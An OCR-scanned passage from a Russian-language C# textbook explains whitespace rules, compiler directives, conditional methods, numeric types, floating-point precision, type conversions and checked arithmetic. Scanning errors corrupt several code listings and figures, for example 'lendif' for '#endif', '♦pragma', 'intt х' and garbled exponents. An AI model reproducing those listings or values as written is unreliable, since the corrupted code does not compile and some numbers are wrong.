Глава 2 деленного диапазона. При этом раскомментировать область кода можно с помощью комбинаций клавиш Ctrl+K и Ctrl+U. Если при первом запуске Visual Studio вы выберете в каче- стве предпочитаемого языка не С#, а что-нибудь другое, то этим действиям могут соответствовать другие комбинации клавиш; однако они по-прежнему будут доступны в меню Edit => Advanced (Изменить => Дополнительно), а также на панели инструментов текстового редактора, которая является одной из стандартных панелей инструментов, отображаемых по умолчанию. Что касается игнорируемого текста, то C# обычно не обращает вни- мания на лишние пробелы. Не все пробелы являются незначащими, по- скольку некоторое минимальное их количество все же необходимо для разделения лексем, состоящих только из буквенно-цифровых символов. Например, в начале объявления метода нельзя написать staticvoid — между словами static и void необходимо поставить хотя бы один про- бел (либо символ табуляции, новой строки или другой пробельный символ). Однако в случае лексем, не состоящих исключительно из буквенно-цифровых символов, пробелы опциональны, причем в боль- шинстве случаев один такой символ эквивалентен любому количеству пробелов и новых строк. Это означает, что все три инструкции листин- га 2.26 являются равнозначными. Листинг 2.26. Незначащие пробелы Console.WriteLine("Тестирование"); Console . WriteLine("Тестирование"); Console. WriteLine("Тестирование") t Существуют, однако, два случая, в которых C# чувствителен к про- белам. Они являются значащими внутри строкового литерала — сколько бы пробелов вы при этом ни поставили, все они будут записаны в стро- ковое значение. Кроме того, хотя для C# обычно не имеет значения, раз- мещается ли каждый элемент в отдельной строке, или весь код располо- жен в одной длинной строке, или (что случается наиболее часто) ваш подход представляет собой нечто среднее между двумя предыдущими, существует одно исключение: директивы препроцессора должны стоять каждая на своей строке. ‘ ~ * 80
Основы программирования на C# Директивы препроцессора Если вы знакомы с языком С или еготтрямыми потомками, возмож- но, у вас возник вопрос, обладает ли C# препроцессором. Нет, C# не об- ладает отдельным этапом препроцессорной обработки и не позволяет использовать макрокоманды. Тем не менее этот язык предлагает неко- торое количество директив, сходных с директивами препроцессора в С, хотя они и представляют собой весьма ограниченную выборку. Символы компиляции C# предлагает директиву #def ine, с помощью которой можно опреде- лить символ компиляции. Такие символы часто используются для приме- нения различных способов компиляции кода в зависимости от ситуации. Например, вам может потребоваться, чтобы некоторый код присутство- вал только в отладочных сборках, или, возможно, вы захотите, чтобы для достижения определенного эффекта на разных платформах применял- ся разный код. Зачастую при этом, однако, не используется директива #def ine — более распространенной практикой является определение сим- волов компиляции с помощью настроек построения компилятора. Visual Studio позволяет сконфигурировать различные значения символов ком- пиляции для каждой конфигурации построения. Для управления этими настройками выполните двойной щелчок по узлу Properties (Свойства) проекта на панели Solution Explorer (Обозреватель решений) и перей- дите в открывшемся окне свойств на вкладку Build (Построение). Если запуск компилятора осуществляется из командной строки, символы компиляции можно определить с помощью соответствующих ключей. Для создаваемых проектов Visual Studio определяет некото- * рые символы компиляции по умолчанию. Обычно создаются 4?’*две конфигурации, Debug (Отладка) и Release (Выпуск). Сим- вол компиляции debug определяется в конфигурации Debug, но не в конфигурации Release. Символ компиляции trace опреде- ляется и в Debug, и в Release. Для некоторых типов проектов также определяются дополнительные символы. Так, проекты Silverlight будут обладать символом silverlight, определен- ным во всех конфигурациях. Символы компиляции обычно используются совместно с директи- вами #if, #else, #elif и #endif. В листинге 2.27 некоторые из этих ди- 81
Глава 2 ректив применяются для того, чтобы определенные строки кода были откомпилированы только в отладочных сборках. Листинг 2.27. Условная компиляция #if DEBUG Console.WriteLine("Начало работы"); lendif DoWork(); #if DEBUG Console.WriteLine("Окончание работы"); lendif C# имеет и более утонченный механизм поддержки условной ком- пиляции, который представляют собой условные методы. Компиля- тор распознает определенный платформой .NET Framework атрибут ConditionalAttribute, для которого он предлагает особые поведения на этапе компиляции. Этим атрибутом можно аннотировать любой метод. В листинге 2.28 он применяется, чтобы указать, что аннотированный метод должен использоваться только в том случае, если определен сим- вол компиляции DEBUG. Листинг 2.28. Условный метод [System.Diagnostics.Conditional("DEBUG")] static void ShowDebuglnfo(object o) { Console.WriteLine(o); } Если аннотировать подобным образом вызов метода, компилятор С#, по сути, удалит выполняющий этот вызов код в тех сборках, в ко- торых не определен соответствующий символ компиляции. Таким об- разом, если вы напишете код, включающий вызовы данного метода ShowDebuglnfo, компилятор извлечет все такие вызовы во всех неотла- дочных сборках. Следовательно, тот же эффект, что и в листинге 2.27, можно получить, не загромождая свой код директивами. Эту возможность используют классы платформы .NET Framework Debug и Trace в пространстве имен System. Diagnostics. Класс Debug пред- лагает различные методы, которые зависят от наличия символа компи- ляции DEBUG, а класс Trace — методы, зависящие от наличия символа TRACE. Если оставить без изменения предлагаемые средой Visual Studio 82
Основы программирования на C# настройки по умолчанию для нового проекта, то "Любой диагностиче- ский вывод, создаваемый с помощью класса Trace, окажется доступен и в сборке Debug, и в сборке Release, но любой код, который вызывает метод класса Debug, не будет откомпилирован в сборках Release. | __ Выполнение метода Assert класса Debug зависит от наличия символа debug, что иногда оказывается неожиданностью для I---- разработчиков. Метод Assert позволяет определить условие, которое должно быть истинным на этапе выполнения, и вы- брасывает исключение, если это условие является ложным. Для новичков в C# характерно совершать два вида ошибок при вызове метода Debug. Assert: в первом случае они помеща- ют в него проверки, которые должны фактически выполняться во всех сборках, а во втором — выражения с побочными эф- фектами, от которых зависит выполнение остального кода. Подобное приводит к ошибкам, поскольку компилятор удаля- ет этот код во всех неотладочных сборках. terror и fwarning C# позволяет генерировать сообщения об ошибках компилятора или предупреждения с помощью директив terror и twarning. Обычно эти директивы используются внутри условных областей, как показано в листинге 2.29, однако также бывает полезно использовать безуслов- ную директиву twarning в качестве напоминания себе о том, что еще не написан некоторый особенно важный фрагмент кода. Листинг 2.29. Генерирование сообщения об ошибке компилятора ♦if SILVERLIGHT ♦error Silverlight не входит в число платформ, поддерживаемых данным исходным файлом ♦endif ♦line Директива Шпе будет полезной в сгенерированном коде. Когда ком- пилятор создает сообщение об ошибке или предупреждение, он обыч- но дает знать, в каком месте произошла проблема, с указанием имени файла, номера строки и смещения от начала строки. Однако если рас- 83
Глава 2 сматриваемый код был автоматически сгенерирован с использованием в качестве входных данных некоторого другого файла и если первопри- чина проблемы содержится в этом другом файле, может оказаться более полезным сообщить об ошибке во входном файле, а не в сгенерирован- ном. Директива #line предписывает компилятору C# действовать, счи- тая, что ошибка произошла по указанному номеру строки и, опциональ- но, что она содержится в другом файле. Как использовать эту директиву, показывает листинг 2.30. Об ошибке, произошедшей после нее, будет сообщаться, что она произошла в строке 123 файла с именем Foo.cs. Листинг 2.30. Директива #line и умышленная ошибка #line 123 "Foo.cs" intt х; Имя файла опционально, что позволяет указывать только номера строк. Кроме того, можно предписать компилятору вернуться к генери- рованию предупреждений и сообщений об ошибках без фальсификации, записав директиву #line default. Существует и еще один способ использования данной директивы. Вместо номера строки (и опционального имени файла) можно записать просто #line hidden. Это затронет только поведение отладчика: при по- шаговом выполнении Visual Studio выполнит весь код после этой дирек- тивы без остановки, пока не встретит другую директиву #line (обычно ♦line default). Ipragma ; z Директива tpragma позволяет отключить избранные предупрежде- ния компилятора. Такое слегка своеобразное имя обусловлено тем, что данная директива сделана по образцу более универсальных механизмов управления компилятором, используемых в других С-подобных языках. В следующих версиях С#, вероятно, будут добавлены другие основан- ные на этой директиве возможности. (На самом деле, когда компилятор встречает директиву Ipragma, которую он не понимает, он генерирует предупреждение, а не сообщение об ошибке на том основании, что она может быть допустимой для некоторой будущей версии компилятора или компилятора от какого-то другого поставщика.) Листинг 2.31 показывает, как применять директиву tpragma для пре- дотвращения генерирования компилятором предупреждения, обычно 84
Основы программирования на C# возникающего в том случае, если объявленная переменная не исполь- зуется. Листинг 2.31. Отключение предупреждений компилятора ♦pragma warning disable 168 int a; Отключения предупреждений обычно следует избегать. Основное применение эта возможность находит в сценариях генерирования кода. При генерировании кода часто создаются элементы, которые затем не используются, и расстановка директив #pragma в таком случае может быть единственным способом получить безошибочную компиляцию. Однако при написании кода вручную обычно существует возможность избежать предупреждений с самого начала. // ♦region и lendregion Наконец, мы дошли до двух директив препроцессора, которые не нужны ни для чего. Если вы запишете директиву #region, то единствен- ное, что сделает компилятор, — это убедится в том, чтобы у нее была со- ответствующая директива tendregion. Отсутствие соответствия вызовет ошибку компилятора, но должным образом соответствующие друг дру- гу директивы #region и #endregion компилятор проигнорирует. Такие области кода можно вкладывать друг в друга. Данные директивы существуют исключительно с целью предоста- вить некоторые преимущества распознающим их текстовым редак- торам. Visual Studio использует их для предоставления возможности сворачивания блоков кода при представлении на экране в одну строку. Редактор кода C# автоматически сворачивает и разворачивает некото- рые элементы, такие как определения методов и классов, однако если вы определите области кода с помощью данных директив, он также смо- жет сворачивать и разворачивать эти области. При наведении указателя мыши на свернутую область кода Visual Studio отображает всплываю- щую подсказку, показывающую ее содержимое. После лексемы #region можно разместить некоторый текст. Когда редактор Visual Studio будет отображать свернутую область кода, он покажет этот текст в оставшейся одной строке. Хотя вы можете и не включать такой текст, в большинстве случаев будет хорошей идеей до- бавить некоторое краткое описание, чтобы дать просматривающим код 85
Глава 2 людям общее представление о том, что они увидят, если развернут об- ласть. Кое-кто из разработчиков предпочитает помещать в области кода все содержимое классов, поскольку это позволяет, свернув все области, с первого взгляда получить представление о структуре файла. Благода- ря сокращению областей кода до размеров одной строки вся структура при этом может поместиться на одном экране. В то же время некоторые разработчики крайне не любят свернутые области, поскольку считают их лишним препятствием для просмотра. Встроенные типы данных В библиотеке классов платформы .NET Framework определены тысячи типов данных, и в дополнение к ним вы можете написать свои собственные; таким образом, C# позволяет работать с неограниченным множеством типов данных. Однако с некоторыми из этих типов компи- лятор обращается по-особому. Как вы видели ранее в листинге 2.9, если у вас есть строка и вы попытаетесь добавить к ней число, то компиля- тор сгенерирует код, который преобразует число в строку, и добавит эту строку в конец первой. На самом деле такое поведение является более универсальным — оно не ограничивается только числами. Если у вас есть строка, и вы добавите к ней некоторое значение любого типа, не яв- ляющегося строкой, то, каким бы ни был этот тип, компилятор вызовет метод ToString этого типа, а затем — метод String. Concat, чтобы объеди- нить первую строку с полученным результатом. Методом ToString об- ладают все типы, потому к строке можно добавлять что угодно. ’ Это удобно, однако такой механизм работает лишь потому, что ком- пилятор C# знает о существовании строк и предоставляет для них осо- бые службы (некоторая часть спецификации C# определяет особое об- ращение со строками для оператора +). C# предоставляет различные особые службы не только для строк, но и для ряда числовых типов дан- ных, булевых значений и типа с именем object. Числовые типы C# поддерживает арифметику целых чисел и чисел с плавающей запятой. Как можно увидеть в табл. 2.1, существуют знаковые и без- знаковые версии целочисленных типов разных размеров. Наиболее 86
Основы программирования на C# часто используемым целочисленным типом является int, в частности потому, что он достаточно велик, чтобы обеспечить представление до- вольно широкого диапазона значений, но не настолько, чтобы это стало препятствием для эффективной работы на всех поддерживающих .NET процессорах. (Ряд процессоров не обладает нативной поддержкой более крупных типов данных; кроме того, у этих типов могут быть нежела- тельные характеристики в многопоточном коде: чтение и запись явля- ются атомарными операциями для 32-разрядных типов*, но они не обя- зательно таковы для более крупных типов.) Таблица 2.1. Целочисленные типы ТипС# Имя в среде CLR Зна- ковый Размер в битах Диапазон (включая границы) byte System.Byte Нет 8 от 0 до 255 sbyte System.SByte Да 8 от-128 до 127 ushort System.UIntl6 Нет 16 от 0 до 65 535 short System.Intl6 Да 16 от -32 768 до 32 767 uint System.UInt32 Нет 32 от Одо 4294967295 mt System.Int32 Да 32 от -2 147 483 648 до 2 147 483 647 ulong System.UInt64 Нет 64 от 0 до 18 446 744 073 709 551 615 long System.Int64 Да 64 от -9 223 372 036 854 775 808 до 9 223 372 036 854 775 807 Во втором столбце табл. 2.1 приведены имена типов в среде CLR. В разных языках приняты разные соглашения по именованию, и в C# для числовых типов используются имена, принятые в других языках семейства С. Однако эти имена не соответствуют соглашениям по име- нованию, которые использует для своих типов данных платформа .NET. Таким образом, что касается среды CLR, то имена во втором столбце являются реальными именами типов — при этом различные API-интер- фейсы, которые предоставляют информацию о типах на этапе выпол- нения, указывают именно CLR-имена, а не имена С#. В исходном коде можно свободно использовать CLR-имена как синонимы имен С#, од- нако последние все же являются стилистически более корректными — в языках семейства С ключевые слова состоят только из букв нижнего * Строго говоря, это гарантируется только для корректно согласованных 32-разряд- ных типов. Такое корректное согласование типов, однако, C# обеспечивает по умолча- нию, и обычно с рассогласованием типов данных можно столкнуться только в сценариях интероперабельности, которые мы обсудим в главе 21. 87
Глава 2 регистра. Поскольку компилятор обращается с этими типами не так, как с остальными, считается хорошей практикой выделять их при напи- сании. Не все .NET-языки поддерживают беззнаковые числа, поэто- му библиотека классов платформы .NET Framework, как пра- вило, их не использует, к чему следует стремиться и вам, если вы создаете библиотеку, рассчитанную на применение из не- скольких языков. Среда выполнения с поддержкой несколь- ких языков (такая как CLR) вынуждена находить компромисс между предоставлением способной удовлетворить потребно- сти большинства из них и потому достаточно богатой систе- мы типов — и навязыванием излишне сложной системы типов простым языкам. Для разрешения этой проблемы система типов платформы .NET, CTS является одновременно весьма обширной, но в то же время от языков не требуется ее полная поддержка. Общеязыковая спецификация CLS идентифици- рует сравнительно небольшое подмножество CTS, которое должны поддерживать все языки. При этом знаковые целые числа входят в CLS, а беззнаковые — нет. Не входящие в CLS типы можно свободно использовать в закрытых деталях реа- лизации, но в открытых API-интерфейсах следует ограничить- ся CLS-типами, если вы хотите обеспечить взаимодействие с другими языками. C# также поддерживает числа с плавающей запятой. Существу- ют два таких типа: float и double, которые служат для представления 32- и 64-разрядных чисел в формате стандарта IEEE 754*, и, как под- разумевают показанные в табл. 2.2 CLR-имена этих типов, они соот- ветствуют тому, что принято называть числами одинарной и двойной точности. Таблица 2.2. Типы чисел с плавающей запятой Тип C# Имя в среде CLR Размер в битах Точность Диапазон (абсо- лютные значения) float System.Single 32 23 бита (~7 деся- тичных разрядов) от 1,5 х Ю-45 до 3,4 х 1038 double System.Double 64 52 бита (~ 15 деся- тичных разрядов) от 5,0 х IO'324 до 1,7 х 1О308 * См. ru.wikipedia.org/wiki/IEEE_754-2008. 88
Основы программирования на C# Поскольку в числах с плавающей запятой используется иной ме- ханизм представления по сравнению с целыми, диапазон значений в табл. 2.2 выглядит по-другому; здесь указывается наименьшее нену- левое и наибольшее числа, которые могут быть представлены (при этом они способны принимать значения как выше, так и ниже нуля). C# также распознает третий вид численного представления с име- нем decimal (или System.Decimal в среде CLR) — 128-разрядного, обе- спечивающего большую точность по сравнению с другими форматами, но рассчитанного на вычисления, которые требуют предсказуемого об- ращения с десятичными дробями, чего не может предложить ни тип float, ни double. Если бы вы написали код, инициализирующий пере- менную типа float значением 0, а затем девять раз подряд добавляющий к ней 0.1, вы могли бы ожидать, что результатом будет значение 0. V ' однако в действительности результат окажется равным 0.9000001. При- чиной этому является тот факт, что при использовании формата IEEE 754 числа хранятся в двоичной форме, что не позволяет представить все десятичные дроби. Для некоторых дробей это не создает проблем; так, например, 0.5 в двоичной форме представляется как 0.1. Однако десятичная дробь 0.1в двоичной форме превращается в периодическую дробь (точнее, за цифрами 0.0 следует периодическая последовательность ООН). Это означает, что типы float и double способны дать лишь приближение дроби 0.1, а в общем случае только некоторые десятичные дроби могут быть представлены абсолютно точно. Это не всегда сразу очевидно, по- скольку при преобразовании чисел с плавающей запятой в текст они округляются до десятичного приближения, что может скрывать несо- ответствие. Однако при многократных вычислениях величина несоот- ветствия обычно возрастает, что в конечном счете ведет к неожидан- ным результатам. Для некоторых видов вычислений это не играет большой роли. На- пример, в случае имитационного моделирования или обработки сиг- налов допускается определенный уровень шума и ошибок. Однако бухгалтерские расчеты, как правило, предъявляют более строгие требо- вания — результатом подобных небольших несоответствий может стать «магическое» исчезновение или появление денег на счету. Денежные расчеты требуют абсолютной точности, что делает числа с плавающей запятой крайне неудачным выбором для выполнения такой работы. Поэтому C# также предлагает тип decimal, который обеспечивает четко определенный уровень десятичной точности. 89
Глава 2 Процессоры обладают нативной поддержкой большинства 4 ш целочисленных типов (при обработке в 64-разрядном про- цессе это справедливо для всех целочисленных типов). Ана- логичным образом процессоры способны выполнять непо- средственную обработку чисел с типом float и double. Однако они не обладают встроенной поддержкой типа decimal, а это означает, что выполнение даже таких простых операций, как сложение, потребует использования нескольких инструкций процессора. Следовательно, по сравнению с другими рас- смотренными выше типами, арифметические операции над значениями decimal выполняются гораздо медленнее. Тип decimal сохраняет числа в виде знакового разряда (положитель- ного или отрицательного) и пары целых чисел. Первое из этих целых занимает 96 двоичных разрядов, и его значение (взятое с учетом знака) умножается на 10, возведенное в степень, которая равна второму цело- му, представляющему собой число в диапазоне от 0 до -28*. Посколь- ку 96 двоичных разрядов являются достаточными для представления любого 28-разрядного десятичного числа (и ряда 29-разрядных чисел), то второе целое — представляющее степень числа 10, на которое умно- жается первое целое, — должно быть в диапазоне от 0 до -28; оно, по сути, указывает, где должна находиться десятичная запятая. Такой фор- мат делает возможным точное представление любого десятичного числа с количеством разрядов, не превышающим 28. Когда вы записываете литеральное числовое значение, вы можете выбрать тип. Если вы просто запишете целое число, такое как 123, ему будет присвоен тип int, uint, long или ulong — компилятор выберет из этого списка первый тип, диапазон которого содержит данное значение. (Таким образом, 123 будет отнесено к типу int, 3000000000 — к типу uint, 5000000000 — к типу long и т. д.) Если вы запишете число с десятичной запятой, такое как 1.23, ему будет присвоен тип double. Вы можете сообщить компилятору о необходимости использовать тот или иной тип, добавив к числу суффикс. Так, 123U будет означать тип uint, 123L — тип long, a 123UL — тип ulong. Буквы суффикса нечувстви- * Десятичное число, таким образом, не использует все предоставленные ему 128 двоичных разрядов. Уменьшение количества разрядов вызвало бы проблемы согласова- ния типов, а применение дополнительных разрядов для увеличения точности существен- но сказалось бы на производительности, поскольку 32-разрядным процессорам легче работать с целыми числами, длина которых кратна 32. 90
Основы программирования на C# тельны к регистру и порядку, поэтому вместо 123UL можно написать 123Lu, 123uL или любую другую возможную комбинацию. Для типов double, float и decimal используются соответственно суффиксы D, F и М. Все три последних типа поддерживают представление больших чи- сел в десятичном экспоненциальном литеральном формате, когда после мантиссы числа ставится буква Е, за которой следует порядок. Напри- мер, литеральное значение 1.5Е-20 обозначает значение 1,5, умноженное на 10’20. (Это число будет отнесено к типу double, поскольку он приме- няется для чисел с десятичной запятой по умолчанию, безотносительно использования экспоненциального формата. Для получения констант типа float и decimal с эквивалентными значениями можно было бы за- писать, соответственно, 1.5E-20F и 1_. 5Е-20М.) Часто полезно располагать возможностью записывать целочислен- ные литералы в шестнадцатеричной форме, поскольку в таком случае разряды числа лучше отображаются на используемое на этапе выполне- ния двоичное представление. Это особенно важно в том случае, когда раз- личные битовые диапазоны числа являются отдельными фрагментами информации. Например, вам может потребоваться обработать числовой код возврата COM-компонента (как из C# использовать СОМ-объекты, будет показано в главе 21). В таком коде самый старший бит применя- ется для указания успешности или неуспешности выполнения, следую- щие несколько битов содержат источник ошибки, а оставшиеся биты идентифицируют конкретную ошибку. Например, код СОМ-ошибки E ACCESSDENIED обладает значением -2147024891. При этом сложно уви- деть описанную структуру в десятичной форме, в то время как в шест- надцатеричной форме такое сделать гораздо легче: 80070005. Цифры 007 здесь говорят о том, что это изначально обычная ошибка платформы Win32, которая была транслирована в COM-ошибку, а остальные биты указывают, что код ошибки Win32 равняется 5 (ERROR_ACCESS_DENIED). В подобных сценариях, когда шестнадцатеричное представление явля- ется более читаемым, C# позволяет записать целочисленные литералы в шестнадцатеричной форме. Для этого нужно просто поставить перед числом префикс Ох, то есть в данном случае следовало бы записать 0x80070005. Преобразование числовых типов Каждый из встроенных числовых типов использует свое двоичное представление для хранения чисел в памяти. При этом преобразование 91
Глава 2 из одной формы в другую требует некоторой работы, поскольку даже число 1 будет, выглядеть по-разному, если посмотреть на его двоичное представление в виде числа типа float, int и decimal. Однако C# спосо- бен сгенерировать код, который выполнит необходимое преобразование между форматами, и зачастую это будет сделано автоматически. При- меры таких ситуаций показывает листинг 2.32. Листинг 2.32. Неявное преобразование типов int i = 42; double di = i; Console.WriteLine(i / 5); Console.WriteLine(di / 5); Console.WriteLine(i / 5.0); Во второй строке здесь значение переменной типа int присваива- ется переменной типа double. При этом компилятор C# генерирует не- обходимый код для преобразования целочисленного значения в экви- валентное ему значение с плавающей запятой (или в ближайшее почти эквивалентное). Менее уловимым образом одинаковое преобразование произведут две последние строки, в чем мы можем убедиться, посмо- трев на выйод данного кода: 8 8.4 8.4 Это показывает, что первая операция деления выдает целочисленный результат — деление целочисленной переменной i на целочисленный литерал 5 заставляет компилятор сгенерировать код, выполняющий це- лочисленное деление, поэтому результат оказывается равным 8. Однако оставшиеся две операции деления выдают результат с плавающей запя- той. Во втором случае мы делим переменную di с типом double на цело- численный литерал 5. Прежде чем выполнить деление, C# преобразует значение 5 в значение с плавающей запятой. И, наконец, в последней строке мы делим целочисленную переменную на литерал с плавающей запятой. На этот раз перед выполнением деления в число с плавающей запятой преобразуется значение целочисленной переменной. В общем случае при арифметических вычислениях с использовани- ем разных числовых типов C# выбирает тип с наибольшим диапазоном и, прежде чем произвести вычисления, выполняет повышение до него значений типов с более узким диапазоном (арифметические операторы, 92
Основы программирования на C# как правило, требуют, чтобы все операнды относились к одному типу, поэтому у каждого оператора должен «цобедить» некоторый один тип). Например, тип double способен представить любое значение в диапазо- не типа int и, помимо этого, много значений, которые int представить не может, а потому double более выразителен*. C# выполняет неявное преобразование числовых типов всякий раз, когда оно представляет собой повышение (то есть когда целевой тип об- ладает более широким диапазоном по сравнению с исходным), посколь- ку такое преобразование не может закончиться сбоем. Однако неявное преобразование не будет выполняться в обратном направлении. Вторая и третья строки листинга 2.33 не смогут откомпилироваться, поскольку в них предпринимается попытка присвоить выражение типа double пе- ременной типа int, а данное преобразование представляет собой суже- ние типа — это означает, что исходный тип может содержать значения, не входящие в диапазон целевого типа. Листинг 2.33. Ошибки: невозможность неявного преобразования int i = 42; int willFail = 42.0; int willAlsoFail = i / 1.0; Преобразование в этом направлении возможно, просто его необхо- димо сделать явным образом, для чего следует выполнить приведение типов, указав в скобках имя типа, к которому необходимо преобразо- вать значение. Листинг 2.34 демонстрирует модифицированную версию листинга 2.33, где явно указывается, что мы хотим выполнить преоб- разование в тип int, и при этом мы либо допускаем возможность его некорректного завершения, либо имеем основания полагать, что в дан- ном конкретном случае значение окажется в пределах диапазона. Обра- тите внимание, что приведение типов затрагивает не общее выражение, а только первое, следующее за ним, вот почему в последней строке мне пришлось использовать скобки. Это позволило применить приведение типов к выражению в скобках; в противном случае оно затронуло бы только переменную i, что не имело бы никакого эффекта, поскольку она уже и так относится к типу int. * На самом деле повышение типов не является одной из возможностей С#. Этот язык предлагает более универсальный механизм: операторы преобразования .типов. По- вышение типов является надстройкой над ним — C# определяет встроенные операторы неявного преобразования типов для встроенных типов данных. Обсуждаемое здесь по- вышение типов происходит как результат выполнения компилятором обычных правил преобразования типов. 93
Глава 2 Листинг 2.34. Явное преобразование типов с использованием приведения типов int i = 42; int i2 = (int) 42.0; int i3 = (int) (i / 1.0); Таким образом, преобразования сужения требуют явного приве- дения типов, а преобразования, не могущие привести к потере инфор- мации, выполняются неявно. Однако в случае некоторых комбинаций типов невозможно четко определить, какой из типов является более выразительным. Например, что произойдет, если попытаться сложить значение типа int со значением типа uint? Или int с float? Все эти типы обладают размером в 32 бита, поэтому ни один из них не может предложить больше, чем 232 отдельных значений; однако они обладают разными диапазонами, а следовательно, у каждого из этих типов есть значения, которые способен представить он, но не способны другие. На- пример, значение 3 000 000 001 можно представить в типе uint, но для типа int оно окажется слишком большим, а в типе float оно будет при- ближенным. По мере увеличения чисел с плавающей запятой возрас- тает и интервал между значениями, которые можно представить, — тип float позволяет представить значения 3 000 000 000 и 3 000 001 024, но ни одно из значений, находящихся в этом промежутке. Таким образом, для значения 3 000 000 001, по-видимому, тип uint подойдет лучше, чем float. Но»что можно сказать о значении -1? Поскольку это отрицатель- ное число, его не сумеет представить тип uint. Далее, существует ряд очень больших чисел, которые способен представить тип float, но кото- рые находятся за пределами диапазона и для int, и для uint. У каждого из типов есть сильные и слабые стороны, это не позволяет сказать, что один из них будет в любой ситуации лучше, чем остальные. Возможно, вы удивитесь, но C# позволяет выполнять неявное преоб- разование даже в таких потенциально связанных с потерями сценариях. C# волнует только диапазон, но не точность: неявное преобразование допускается в том случае, если целевой тип обладает более широким ди- апазоном по сравнению с исходным. Таким образом, можно преобразо- вать значение из типа int или uint в тип float, поскольку, хотя тип float не способен представить ряд значений, не существует значений типов int или uint, которые он не смог бы представить хотя бы приближен- но. Однако неявное преобразование в обратном направлении является недопустимым, поскольку часть значений окажется попросту слишком большими — в отличие от float, целочисленные типы не могут предло- жить приближение для больших значений. 94
Основы программирования на C# У вас, возможно, возник вопрос, чтсгпроизойдет, если заставить про- грамму выполнить сужающее преобразование в тип int с помощью при- ведения типов, как делается в листинге 2.34, в том случае, когда число на- ходится за пределами диапазона? Ответ на этот вопрос зависит от того, из какого типа выполняется приведение. Преобразование из одного це- лочисленного типа в другой обладает некоторыми отличиями от преоб- разования числа с плавающей запятой в целое. Спецификация C# фак- тически не определяет, каким будет результат при приведении слишком больших чисел с плавающей запятой к целочисленному типу — может получиться что угодно. Однако в случае преобразования между целочис- ленными типами вы получите четко определенный результат. Если эти два типа обладают разным размером, то двоичное представление числа либо усекается, либо дополняется нулями для соответствия размеру це- левого типа, после чего полученные биты просто используются как зна- чение целевого типа. Хотя в некоторых случаях подобное полезно, гораз- до чаще это приводит к неожиданным результатам, потому для любого приведения типа с выходом за пределы диапазона следует предпочесть альтернативный вариант, выполнив преобразование с проверкор. Проверяемый контекст В C# определено ключевое слово checked, которое можно поставить перед инструкцией или выражением и тем самым сделать их прове- ряемым контекстом. Это означает, что определенные арифметические операции, включая приведение типов, проверяются на этапе выпол- нения на переполнение диапазона. Если сделать приведение значения к целочисленному типу в проверяемом контексте, и значение окажет- ся слишком большим или слишком малым, чтобы попасть в диапазон, произойдет ошибка — код выбросит исключение переполнения System. OverflowException. Помимо операции приведения типов, проверяемый контекст позво- ляет проконтролировать переполнение диапазона и в обычных арифме- тических операциях. Сложение, вычитание и др. могут принять значение, которое будет находиться за пределами диапазона используемого этой операцией типа данных. В случае целых чисел подобное обычно ведет к «переворачиванию» значения, когда в результате добавления 1 к мак- симальному значению получается минимальное — и наоборот в случае вычитания. Иногда такой перенос разрядов полезен. Например, если требуется определить, сколько времени прошло между двумя точками в программе, это можно сделать путем использования свойства счетчи- 95
Глава 2 ка тактов Environment.TickCount*. (Такой способ является более надеж- ным по сравнению с обращением к текущему времени и дате, поскольку последние могут измениться вследствие их переустановки или переме- щения между часовыми поясами. Значение счетчика тактов всегда воз- растает с постоянной скоростью. Тем не менее в реальном коде мы бы, скорее всего, взяли класс Stopwatch из библиотеки.) Один из способов использования этого свойства показывает листинг 2.35. Листинг 2.35. Использование непроверяемого переполнения целого числа int start = Environment.TickCount; DoSomeWork(); int end = Environment.TickCount; int totalTicks = end - start; Console.WriteLine(totalTicks); Использовать свойство Environment.TickCount следует с осторож- ностью, поскольку время от времени его значение «переворачивается». Счетчик тактов меряет количество миллисекунд, прошедших с момента последней перезагрузки системы, и, поскольку данное свойство исполь- зует тип int, рано или поздно его значение выходит за пределы диапазо- на. Период в 25 дней представляет собой 2,16 миллиарда миллисекунд, что является слишком большим числом для представления в типе int. Допустим, значение^четчика тактов равно 2 147 483 637, что лишь на 10 меньше максимального значения для типа int. Каким будет это значе- ние через 100 мс? Оно не может быть на 100 больше (то есть равняться 2 147 483 727), поскольку иначе оказалось бы слишком большим значе- нием для типа int. В данном случае через 10 мс будет достигнуто наи- большее возможное значение, и, соответственно, через 11 мс произой- дет «переворачивание» к минимальному значению; таким образом, по прошествии 100 мс значение счетчика тактов должно превышать мини- мальное значение на 89 (что будет равняться -2 147 483 559). На практике счетчик тактов не всегда имеет точность до 1 мс. Зачастую он продвигается вперед через каждые 10 мс, 15 мс ------ или с еще большим интервалом. Однако значение «перевора- чивается» и в таком случае —- возможно, вам лишь не удастся отследить, при каком значении это произойдет в каждой кон- кретной ситуации. * Свойство — это член типа, представляющий значение, допускающее чтение, моди- фикацию или и то, и другое; свойства будут подробно рассмотрены в главе 3. 96
Основы программирования на C# Что интересно, код в листинге 2.35 прекрасно справляется с этой проблемой. Если значение переменной start будет получено как раз перед «переворачиванием» счетчика тактов, а значение переменной end — сразу после «переворачивания» счетчика, то значение end окажет- ся намного меньше значения start, что является противоположностью реальной ситуации, и разница между этими числами будет большой — больше, чем диапазон типа int. Однако когда мы вычтем переменную start из end, переполнение этой операции «перевернет» значение точно таким образом, как дела- ет счетчик тактов, то есть в конечном итоге мы получим правильный результат несмотря на «переворачивание». Например, если переменная start будет содержать значение счетчика тактов за 10 мс до «перево- рачивания», а переменная end — значение через 90 мс после него, то вы- читание соответствующих значений (то есть вычитание -2 147 483 558 из 2 147 483 627) должно дать в результате 4 294 967 185. Однако вслед- ствие переполнения операции вычитания в действительности результат окажется равен 100, что будет соответствовать прошедшему времени в 100 мс. В большинстве случаев, однако, такое целочисленное переполне- ние нежелательно. Это означает, что, имея дело сболыпими числами, можно получить совершенно неверные результаты. Во многих случа- ях риск этого невелик, поскольку обрабатываемые числа достаточно малы, однако если есть вероятность, что ваши вычисления столкнутся с переполнением, возможно, вам потребуется использовать проверяе- мый контекст. При выполнении в проверяемом контексте любая ариф- метическая операция в случае переполнения выбрасывает исключение. Такое поведение можно добиться с помощью оператора checked, как де- монстрирует листинг 2.36. Все, что содержится в скобках, вычисляется в проверяемом контексте, поэтому если при сложении переменных а и b произойдет переполнение, вы увидите исключение OverflowException. Ключевое слово checked здесь не относится ко всей инструкции, потому, если переполнение произойдет при добавлении переменной с, это не вы- зовет исключения. Листинг 2.36. Проверяемое выражение int result = checked (а + b) + с; Вы также можете включить проверку для большого фрагмента кода, используя проверяемую инструкцию, которая, как показывает ли- 97
